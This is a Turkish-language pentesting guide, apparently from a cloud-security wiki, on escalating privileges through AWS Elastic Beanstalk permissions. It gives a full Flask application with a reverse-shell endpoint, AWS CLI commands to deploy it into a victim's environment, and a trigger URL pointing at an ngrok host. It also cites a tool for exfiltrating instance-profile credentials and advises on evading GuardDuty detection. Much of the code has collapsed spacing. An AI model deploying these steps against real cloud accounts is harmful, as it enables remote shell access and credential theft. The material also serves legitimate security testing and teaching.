Beanstalk'ta hassas işlemler gerçekleştirmek için birçok farklı hizmette çok sayıda hassas izne sahip olmanız gerekecek. Örneğin, arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk için verilen izinleri kontrol edebilirsiniz.
elasticbeanstalk:RebuildEnvironment, S3 yazma izinleri ve daha fazlası
Ortamın kodunu içeren S3 bucket'ında yazma izinleri ve uygulamayı yeniden inşa etmek için izinler (gerekli olan elasticbeanstalk:RebuildEnvironment ve S3, EC2 ve Cloudformation ile ilgili birkaç tane daha) ile kodunuzu değiştirebilir, uygulamayı yeniden inşa edebilir ve uygulamaya eriştiğinizde yeni kodunuzu çalıştırmasını sağlayabilirsiniz. Bu, saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole ve daha fazlası...
Bahsedilen ve birkaç S3, EC2, cloudformation, autoscaling ve elasticloadbalancing izni, sıfırdan bir ham Elastic Beanstalk senaryosu oluşturmak için gereklidir.
Öncelikle, önceki adımları takip ederek kurban üzerinde çalıştırmak istediğiniz kod ile geçerli bir Beanstalk ortamı oluşturmanız gerekiyor. Potansiyel olarak bu 2 dosyayı içeren basit bir zip:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Kendi Beanstalk ortamınızda rev shell'inizi çalıştırdıktan sonra, bunu kurbanın ortamına taşımak için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın Bucket Politikasınıgüncellemeniz gerekiyor, böylece kurban buna erişebilir (Bu, Bucket'ı HERKES için açacaktır):
# Use a new --version-label# Use the bucket from your own accountawselasticbeanstalkcreate-application-version--application-nameMyApp--version-labelMyApp-2.0--source-bundleS3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
ThedeveloperhasintentionstoestablishareverseshellusingNetcatorSocatwithnextstepstokeepexploitationcontainedtotheec2instancetoavoiddetections.